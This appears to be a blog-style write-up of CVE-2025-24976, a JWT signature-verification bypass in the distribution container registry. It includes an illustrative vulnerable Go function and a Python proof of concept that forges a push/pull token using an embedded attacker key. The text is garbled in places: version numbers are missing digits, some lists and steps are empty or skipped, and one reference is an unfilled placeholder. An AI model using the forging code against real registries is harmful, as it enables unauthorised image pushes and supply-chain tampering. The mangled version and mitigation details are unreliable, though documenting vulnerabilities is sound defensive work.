CVE-2025-24976 - Exploiting Token Authentication in Distribution Registry (3..-beta.1 to 3..-rc.2)
Distribution is a popular toolkit for packing, shipping, storing, and delivering container content. It's widely used for running private registries for Docker and other container environments. However, recently, a serious security flaw—CVE-2025-24976—was found in certain versions of distribution’s registry when token authentication is enabled.
This post explains the vulnerability, shows code snippets demonstrating the issue, shares relevant references, and walks through how attackers might exploit the bug. All details are written in plain, simple American English.
What is CVE-2025-24976?
If your system runs distribution registry 3..-beta.1 through 3..-rc.2 with token authentication turned on, it might be vulnerable. The bug allows attackers to bypass proper JWT signature checks in a sneaky way.
The problem comes from how the registry checks JSON Web Tokens (JWTs) that are presented for authentication. In some cases, attackers can inject an untrusted signing key into the token, making the registry trust and accept forged tokens.
Affected Versions:
How JWT Authentication Should Work
JSON Web Tokens are typically signed by a trusted authority. The registry checks the token’s header and signature to confirm it's from someone trusted. Usually, the header holds the kid (key identifier), which points to the signing key used.
Good flow:
What Went Wrong (the Bug)
In the affected versions, when a JWT’s header includes a jwk field (that is, an embedded JSON Web Key) without a certificate chain, the registry does not check that the provided key material actually matches the trusted key stored for that kid.
Instead, it just checks that the kid name matches one of the trusted keys—a serious mistake!
This means an attacker can craft a JWT with any public key they want, invent a signed token with their private key, and set the kid in the token’s header to a trusted value. The registry will verify the signature with the attacker’s key instead of a real trusted key and let the attacker in.
Below is a simplified, illustrative code sample that mimics the vulnerable logic
func verifyJWT(token *jwt.Token, trustedKeys map[string]crypto.PublicKey) error {
// Step 1: Extract KeyID from JWT header
kid := token.Header["kid"].(string)
jwk := token.Header["jwk"]
// Step 2: Check if kid is in trusted keys
trustedKey, ok := trustedKeys[kid]
if !ok {
return errors.New("untrusted kid")
}
// Step 3: Vulnerable!
if jwk != nil {
// If header includes a "jwk", use it (no real check against stored trustedKey)
key := parseKeyFromJWK(jwk)
// Use attacker's key to verify token
if verifySignature(token, key) {
return nil // Attacker wins!
}
}
// ... normal verification (if no JWK in header)
return verifySignature(token, trustedKey)
}
Key Problem:
*When a JWT with a JWK is provided, this code doesn't actually make sure the JWK key material matches the corresponding trusted key.*
Let’s see how an attacker could forge a valid token
1. Generate their own keypair (attacker’s public/private key).
Send that token to the registry.
Because of the bug, the registry accepts and validates the token—despite being completely bogus!
Here’s a Python pseudo-code for building such a JWT with an attacker’s key
import jwt
from jwcrypto import jwk
attacker_key = jwk.JWK.generate(kty='EC', crv='P-256')
public_jwk = attacker_key.export_public()
# Prepare JWT headers
headers = {
'alg': 'ES256',
'kid': 'trusted-key-id', # Should match a trusted kid in the registry
'jwk': public_jwk, # Embedded attacker's key!
}
payload = {
'sub': 'eviluser',
'exp': 9999999999,
'scope': 'repository:myrepo:pull,push'
}
# Sign token with attacker's private key
token = jwt.encode(payload, attacker_key.export_to_pem(private_key=True, password=None),
algorithm='ES256', headers=headers)
print("Forged JWT:", token)
---
Real-World Attack Impact
- Attackers can forge authentication tokens and gain full control to pull or push to container registries.
How to Fix
No workaround exists if you require token authentication.
You must patch your registry.
- The issue has been patched at commit 5ea9aa028db65ca5665f6af2c20ecf9dc34e5fcd.
References
- Distribution Security Advisory for CVE-2025-24976 (placeholder, replace with official link)
- Commit fixing the issue
- Docker Distribution GitHub
Conclusion
CVE-2025-24976 is a dangerous security hole allowing attackers to forge authentication for container image registries. If you’re running a vulnerable version with token authentication, upgrade immediately to a version containing the fix.
Stay safe, patch fast, and always keep an eye on authentication code paths in critical cloud software.
Timeline
Published on: 02/11/2025 16:15:52 UTC